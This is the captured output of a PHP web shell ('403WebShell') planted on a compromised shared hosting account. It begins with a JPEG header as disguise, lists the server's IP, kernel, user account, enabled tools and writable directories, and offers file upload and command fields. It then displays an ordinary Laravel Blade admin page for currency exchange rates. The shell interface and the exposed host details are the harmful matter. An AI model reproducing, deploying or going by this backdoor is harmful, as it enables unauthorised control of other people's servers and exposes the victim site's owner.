����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.129.242
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./gle.gltechlimited.com/resources/views/admin/currency/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./gle.gltechlimited.com/resources/views/admin/currency/index.blade.php
@extends('layouts.master')
@section('title','Currency')
@section('breadcum')
  <div class="breadcrumbbar">
      <h4 class="page-title">{{ __('Currency') }}</h4>
      <div class="breadcrumb-list">
          <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="{{url('/admin')}}" title="{{ __('Dashboard') }}">{{ __('Dashboard') }}</a></li>
            <li class="breadcrumb-item active" aria-current="page">{{ __('Currency') }}</li>
          </ol>
      </div>      
    </div>
@endsection

@section('maincontent')

<div class="contentbar"> 
  <div class="row">
      <div class="col-md-12">
          <div class="bg-primary-rgba ml-6 mr-6 mb-6 text-primary">
            <div class="currency-box p-4">
              <form action="{{route('currency.exchanges.save')}}" method="POST">
                  @csrf
                  <div class="form-group">
                    <label class="mb-0">{{__('OPEN EXCHANGE RATE KEY')}} :</label>  <sup class="text-danger">*</sup>
  
                    <small>
                      <a target="__blank" title="Get your keys from here" class="text-primary pull-right"
                        href="https://openexchangerates.org/signup/free" title="Get Your OPEN EXCHANGE RATE
                        KEY From Here"><i class="fa fa-key"></i>{{__(' Get Your OPEN EXCHANGE RATE KEY From Here')}}</a>
                    </small>
                    <hr>
                    <div class="row">
                      <div class="col-md-6">
                        <input required id="OPEN_EXCHANGE_RATE_KEY" value="{{ env('OPEN_EXCHANGE_RATE_KEY') }}"
                          name="OPEN_EXCHANGE_RATE_KEY" type="text" class="form-control"
                          placeholder="Enter OPEN EXCHANGE RATE KEY">
                      </div>                    
                      <div class="col-md-6">
                        <div class="form-group">
                          <button type="submit"  class="btn btn-md btn-primary-rgba" title="{{ __('Save') }}">
                                <i class="fa fa-save"></i> {{ __('Save') }}
                          </button>
                        </div>
                      </div>
                    </div>
                      <small class="text-primary">
                        <i class="fa fa-question-circle"></i> {{__("It will be used to fetch exchange rates of currenies.")}}
                        <br>
                        <i class="fa fa-question-circle"></i> {{__("In many countries, the use of a comma or a dot as a decimal separator in currency is determined by local customs and laws. In general, countries that use a comma as a decimal separator also use a dot as a thousands separator, and vice versa.")}}
                      </small>
                  </div>
                  
              </form>
          </div>
              
          </div>
      </div>
      <div class="col-md-12 mt-4">
          <div class="card m-b-50">
              <div class="card-header">
          <button type="button"  class="float-right btn btn-success-rgba mr-2 updateRateBtn"><i class="feather icon-layers mr-2"></i><span id="buttontext">{{ __('Update Currency Rate') }}</span></button>
          <button type="button" class="float-right btn btn-primary-rgba mr-2 " data-toggle="modal"
            data-target=".bd-example-modal-lg" title="{{ __('Add New Currency') }}"><i class="feather icon-plus mr-2"></i> {{ __('Add New Currency') }} </button>
         
          {{-- Install new Addon Model Start --}}
              <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-hidden="true">
                  <div class="modal-dialog modal-lg">
                      <div class="modal-content">
                          <div class="modal-header">
                              <h5 class="modal-title" id="exampleLargeModalLabel">{{__("Add New Currency")}}</h5>
                              <button type="button" class="close" data-dismiss="modal" aria-label="Close"  title="{{ __('Close') }}">
                              <span aria-hidden="true">&times;</span>
                              </button>
                          </div>
                              
                          <div class="modal-body">
                            <form action="{{ route("currency.store") }}" method="post">
                              @csrf
                              <div class="form-group">
                                  <label for="my-input">{{ __('Currency') }} (ISO code 3): <span class="text-danger">*</span> </label>
                                  <input required class="form-control" type="text" name="code">
                              </div>
            
                              <div class="form-group">
                                  <button type="submit" class="btn btn-outline-primary" title="{{ __('Create') }}"><i class="fa fa-plus"></i>
                                      {{ __("Create") }}
                                  </button>
                              </div>
                            </form>
                          </div>
                      </div>
                  </div>
              </div>
          {{-- Install new Addon Model End --}}
                  <h5 class="card-title">{{ __('All Currency') }}</h5>
                  <h4 class="card-title text-danger">{{ __('DEFAULT CURRENCY IS') }} : {{Session::has('changed_language') ? Session::get('changed_language') : ''}}</h4>
                  
              </div> 

              <div class="card-body">
                  <div class="table-responsive">
                        <table id="currency" class="table table-borderd">

                          <thead>
                              <th> {{ __('#') }}</th>
                              <th>{{__('Name')}}</th>
                              <th>{{__('Code')}}</th>
                              <th>{{__('Symbol')}}</th>
                              <th>{{__('Exchange rate')}}</th>
                              <th>{{__("Created at")}}</th>
                              <th>{{__("Action")}}</th>
                          </thead>

                          <tbody>
                              
                          </tbody>
                      </table>                  
                  </div>
              </div>
          </div>
      </div>
  </div>
</div>
@endsection 
@section('script')
<script>
     $(document).ready(function() {
      jQuery.noConflict();
      var table;
      if($.fn.dataTable.isDataTable('#currency')){
        table = $('#currency').DataTable();
      }else{
        table = $('#currency').DataTable({
          lengthChange: false,
          responsive: true,
          serverSide: true,
          ajax: '{{ route('currency.index') }}',
          columns: [

            {data: 'DT_RowIndex', name: 'DT_RowIndex', searchable : false, orderable : false},
            {data : 'name', name : 'currencies.name'},
            {data : 'code', name : 'currencies.code'},
            {data : 'symbol', name : 'currencies.symbol'},
            {data : 'exchange_rate', name : 'currencies.exchange_rate'},
            {data : 'created_at', name : 'currencies.created_at'},
            {data : 'action', name : 'action', searchable : false, orderable : false},
           
          ],
          dom : 'lBfrtip',
          buttons : [
              'csv','excel','pdf','print'
          ],
          order : [[0,'desc']]
        });
      }
      table.buttons().container().appendTo('#userstable .col-md-3:eq(0)');
      $('.updateRateBtn').on('click',function(){
        // alert('hello');
        $.ajax({
            headers: {
              'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
            },
            type: "POST",
            url: '{{ route("auto.update.rates") }}',
            beforeSend: function() {
              $('#buttontext').html('<i class="fa fa-refresh fa-spin fa-fw"></i>');
            },
            success: function(data) {
              table.draw();
              console.log(data);
              $('#msg_div').show();
              $('#res_message').html('');
              $('#res_message').append(data.msg);
              $('#buttontext').html('Update Currency Rate');
              setTimeout(function(){
                  $('#res_message').hide();
                  $('#msg_div').hide();

              },2000);
            
            },
            error: function(XMLHttpRequest, textStatus, errorThrown) {
              console.log(XMLHttpRequest);
            }
          });
      });
  });
</script>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit